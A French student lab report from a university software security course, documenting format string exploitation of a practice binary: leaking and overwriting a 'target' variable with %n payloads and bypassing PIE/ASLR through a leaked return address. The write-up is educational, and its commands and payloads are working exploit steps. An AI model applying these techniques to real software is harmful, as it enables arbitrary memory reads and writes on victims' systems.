2022 – 2023

université de BORDEAUX

Compte rendu Sécurité Logicielle

Format Strings vulnerabilities

TD 6 Partie 2

Réalisé par :
BENARAB Hanane

TD 6 Partie 2 : Format Strings vulnerabilities

1.6 – Dans cette partie, on souhaite afficher la valeur de la variable **'Target',** on procédera exactement comme dans la question 1.5.

Tout d'abord, il nous faudra l'adresse de Target, en utilisant la version NON-PIE du programme donc nous savons que cette dernière ne changera pas d'emplacement peu importe l'exécution.

```
hbenarab@cheonech:~/secu/TD6$ objdump -D vulnerable-1-32 | grep target
0804c038 <target>:
```

Ensuite, il faudrait réussir à écrire cette adresse dans le buffer, on sait que le début du buffer est accessible a 23 arguments après la chaîne de format, si on arrive a écrire l'adresse de **'Target'** dans le buffer. On pourra ensuite, aller lire à cette adresse en utilisant **%23$s** qui sera interprété par **printf()**, et ira lire la chaîne de caractère dont l'adresse se situe dans notre buffer or on y aura écrit celle de target.

Dans un premier temps on vérifie qu'on arrive bien à l'écrire dans buffer avec **%23$p** :

```
hbenarab@cheonech:~/secu/TD6$ echo -e '\x38\xc0\x04\x08 %23$p' | ./vulnerable-1-32
8 0x804c038
```

la valeur 8 affichée, correspond a l'interprétation du code ASCII de l'adresse **\x38\xc0\x04\x08,** l'adresse affichée correspond bien à l'adresse de Target, ce qui signifie qu'on l'a bien chargée dans le buffer.

Pour afficher le contenu de **target**, la première idée est de remplacer **%p** par **%s.**

```
hbenarab@cheonech:~/secu/TD6$ echo -e '\x38\xc0\x04\x08 %23$s' | ./vulnerable-1-32
8 123
```

En effet, en mettant **%s**, la valeur de Target est interprétée comme une chaîne de caractère d'où l'affichage de 123 qui correspond a son interprétation en ASCII, Or celle-ci est un **integer.**

Pour remédier à ce problème, on rajoute **| hexdump -C** qui va permettre de l'afficher en Hexadécimal.

```
hbenarab@cheonech:~/secu/TD6$ echo -e '\x38\xc0\x04\x08 %23$s' | ./vulnerable-1-32 | hexdump -C
00000000  38 c0 04 08 20 31 32 33  12 0a                    |8... 123..|
0000000a
```

On peut désormais distinguer la valeur de la variable Target qui est **'0x12333231'.**

1.7- A présent, notre objectif est d'afficher **«you have modified the target ».** Pour ce faire, il faudrait changer la valeur de target.

En utilisant, **echo -e '\x38\xc0\x04\x08 %23$n' | ./vulnerable-1-32** , cela nous permettra d'écrire en mémoire à l'adresse contenu dans le buffer donc l 'adresse de target, Le nombre de caractères

correspondant au premier argument (x38\xc0\x04\x08) qui est sur 04 caractères avec un espace, ce qui fait 5 caractères.

```
hbenarab@cardhu:~/secu/TD6$ echo -e '\x38\xc0\x04\x08 %23$n' | ./vulnerable-1-32
8
you have modified the target to 0x5!
```

1.8 – Maintenant, nous voudrions afficher **« You have hacked it ! ».** Pour cela, il faudra modifier la valeur de **target** a une valeur bien précise qui est **0x00025544,** sa valeur en décimale est 152900.
En reprenant le même raisonnement de la question précédente, il faudrait écrire 152900 caractères avant %23$n.

En effectuant, **« echo -e '\x38\xc0\x04\x08 %152894p %23$n' | ./vulnerable-1-32 »**, on arrivera a obtenir l'affichage désiré.

En effet avant le%23$n, on retrouve l'adresse de Target donc 4 caractères, un espace,%152894p qui demande a printf() d'écrire l'adresse du premier argument après la chaîne sur 152894 caractères, un espace, ce qui fait bien 152900 caractères écrit avant le **%23$n**.

Cette valeur sera donc écrite en mémoire à l'adresse de Target et on aura **« You have hacked it! »**

```
                    0xf7cf7634
you have hacked it!
```

1.9 – Désormais, nous utiliserons la version **PIE** et avec ASLR activé, on reprendra ce qu'on avait fait dans les 03 questions précédentes.

Le but étant de retrouver l'adresse de Target et effectuer ce qu'on avait fait précédemment, parce qu'avec la version PIE, cette dernière change à chaque exécution mais l'accès à l'adresse de retour qui correspond a **foo()** dans le main est accessible par **%15$p** et que l'écart entre cette adresse et celle de Target ne change jamais.

En exécutant le programme dans gdb, nous pourrons calculer cet écart, il suffit d'effectuer une soustraction entre l'adresse de Target et l'adresse de retour.

```
0xffffccb4    arg2    0x00000080
0xffffccb0    arg1    0xffffcccc
0xffffccac    ret@    0x565562c0
0xffffcca8      bp    0xffffcd58
0xffffcca4            0x56559000
0xffffcca0            0xf7f49000
```

```
(gdb) p &target
$1 = (int *) 0x56559038 <target>
```

Cette soustraction donne **0x2d78,** qui correspond a l'écart entre l'adresse de Target et l'adresse de retour.

Maintenant, en utilisant la commande ci-dessous, va d'abord nous afficher l'adresse de retour, ensuite en rajoutant **2d78,** on obtiendra l'adresse de Target et ensuite on pourra procéder exactement comme dans les questions précédentes.

(echo -e '%15$p' ; read hack ; echo -e "$hack") | ./vulnerable-1-32-pie

cette commande, permet d'afficher l'adresse de retour de **foo()** dans main, puis demandera une entrée à l'utilisateur, donc d'abord on calculera l'adresse de target grâce à l'adresse de retour puis on donnera comme entrée, la chaîne avec la bonne adresse de target, cette chaîne sera mise dans la variable d'environnement hack, qui sera ensuite echo et récupérée par le **fgets()** de vulnerable.

```
hbenarab@cardhu:~/secu/TD6$ (echo -e '%15$p' ; read hack ; echo -e "$hack") |
./vulnerable-1-32-pie
0x5655e2c0
```

En ajoutons **2d78** à **0x5655e2c0**, on obtient **0x56561038** qui est l'adresse de Target.
Le point en plus qui différencie de la partie précédente, c'est l'utilisation des doubles **antislash (\\ )**
En effet un seul antislash **(\ )** correspondant à un caractère d'échappement.

Pour se remettre dans les 03 parties précédentes il faut pour :

Affichage de la Valeur de target	\\x38\\x10\\x56\\x56 %23$s
Affichage de "you have modified the target "	\\x38\\x10\\x56\\x56 %23$n
Affichage de "you have hacked it"	\\x38\\x10\\x56\\x56 %152894p %23$n

La subtilité dans cette partie, était juste de trouver l'adresse de Target en fonction de celle de retour, la suite étant exactement comme avec la version NON-PIE.